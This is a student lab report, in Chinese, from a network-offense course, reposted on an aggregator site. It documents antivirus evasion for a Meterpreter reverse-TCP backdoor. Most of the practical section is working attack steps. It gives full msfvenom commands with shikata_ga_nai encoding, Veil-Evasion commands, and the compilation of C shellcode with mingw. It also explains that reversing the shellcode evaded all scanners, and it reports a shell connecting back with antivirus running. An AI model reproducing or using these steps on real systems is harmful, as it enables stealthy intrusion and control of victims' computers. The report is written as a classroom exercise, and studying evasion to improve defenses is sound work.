您的位置:首页 > 理论基础 > 计算机网络

20145201 李子璇 《网络对抗技术》免杀原理与实践

2017-03-23 18:34 633 查看
1.基础问题回答

(1)杀软是如何检测出恶意代码的?

通过对比恶意软件特征码和AV厂商的特征码库,找到相似的则为恶意代码。

通过一些片面的特征推断。比如一个软件在做一件恶意软件常做的事,则认为该软件是一个恶意软件。

(2)免杀是做什么?

通过改变某些信息而使恶意程序不被系统上的杀毒软件发现、查杀。

(3)免杀的基本方法有哪些?

改变特征码

加壳

重新编译生成可执行文件

用其他语言进行重写再编译

改变行为

使用反弹式连接

加入混淆作用的正常功能代码

非常规方法

自己纯手工打造一个恶意软件。

2.实践总结与体会

通过本次实验,我学习了免杀技术,并且最终实现了后门不被杀毒软件查杀。体会最深的就是一次次对代码进行加工,报毒软件逐渐减少的过程。杀毒与免杀是互相博弈的。同时,也学习到了恶意代码是如何被伪装成了正常的软件,逃过杀毒软件和防火墙的法眼。这也说明了,即使电脑安装了再强的杀毒软件,也可能会被被病毒感染。这次只是一个小实验,居然不用花很大力气都可以成功...然而世界上不断有有新的病毒出现,我意识到想要保护自己的电脑环境不受外部攻击,单单靠杀毒软件是不行的。

3.离实战还缺些什么技术或步骤?

首先是要如何把后门程序放入靶机中,或者说是如何诱导使用者执行程序,要成功运行后才能进行后续的一系列工作。

其次就是我所做的主机和靶机是连在同一个无线局域网中的。实际上还需要考虑到不同网络条件下如何将两者对接。

杀毒软件公司也不是吃干饭的,他们也会定期对病毒库进行更新,于是就不能依赖于所谓的免杀软件工具来生成可执行文件,最好是纯手工构造。

4.实践过程记录

实践过程记录

msfvenom直接生成meterpreter可执行文件

win10:192.168.0.106

kali:192.168.134.129

可以参考上一个实验 用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.129 PORT=5201 -f exe > test.exe命令生成meterpreter可执行文件并传输至win10



在http://www.virscan.org/进行检测。检查结果如下:





从图上我们可以看出,在总共的39个杀软中,有22个检测到了病毒。我以此为基准,看经过本次免杀实验后应用在平台上的识别率高了还是低了。

Msfvenom使用编码器

用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.134.129 LPORT=5201 -f exe > testlzx1.exe 生成可执行文件,并传给主机。

利用刚刚网站进行检测,结果如下:



可以看到的杀软发现其中21/39有病毒,和刚刚的相比并没有明显的变化。因为一有新编码算法,AV就会马上加到特征库中。这样的微调人家发现是很容易的~

那么,才尝试多编码几次呢?用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b ‘\x00’ LHOST=192.168.134.129 LPORT=5201 -f exe > testlzx2.exe命令将文件编码9次:



再检测下:



有21/39的杀软检测出了病毒。并没有实质上的变化,那基本可以说明,利用编码器进行免杀的这部分失败了...

使用Veil-Evasion生成可执行文件

输入veil-evasion指令打开veil-evasion:

继续输入一系列指令来生成可执行文件

use python/meterpreter/rev_tcp
set LHOST 192.168.134.129
generate
5201lzx
1




成功后会显示这个界面:



检测。



这次还可以嘛,有10/39的杀软检测出病毒,但是离我的目标还与点距离,换种方式继续实验。

C语言调用shellcode

用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.134.129 LPORT=5201 -f c > testc.c生成一个c语言格式的hellcode数组,并写入testc.c中:



打开.c文件,在最后加入main函数:



输入指令i686-w64-mingw32-g++ testc.c -o testc_5201.exe,生成在windows系统下可以执行的exe程序,并传到win下:



检测:



有8/39的杀软检出病毒...还可以继续提升。

进一步的修改

再次对代码进行修改。我用的是vc6.0编写c程序并编译,也可以达到和vs一样的目的。这里就截取部分代码吧,具体代码就不贴了,可以简单叙述为保持原有shellcode不变,对源代码进行修改。求它的逆序,即进行首尾对换(这里参考了GQ同学的~)...

生成exe可执行文件:


查杀一下,没发现病毒:


kali使用msf监听,运行刚刚编译生成的可执行文件。



实现了免杀

电脑实测

在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本



图上可以看到回连成功,已经获取了权限,可以执行ls指令,同时右下角杀毒软件是开启的状态。这就实现了免杀~

电脑版本win10

杀软版本:


可以获取权限,尝试一下截屏

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: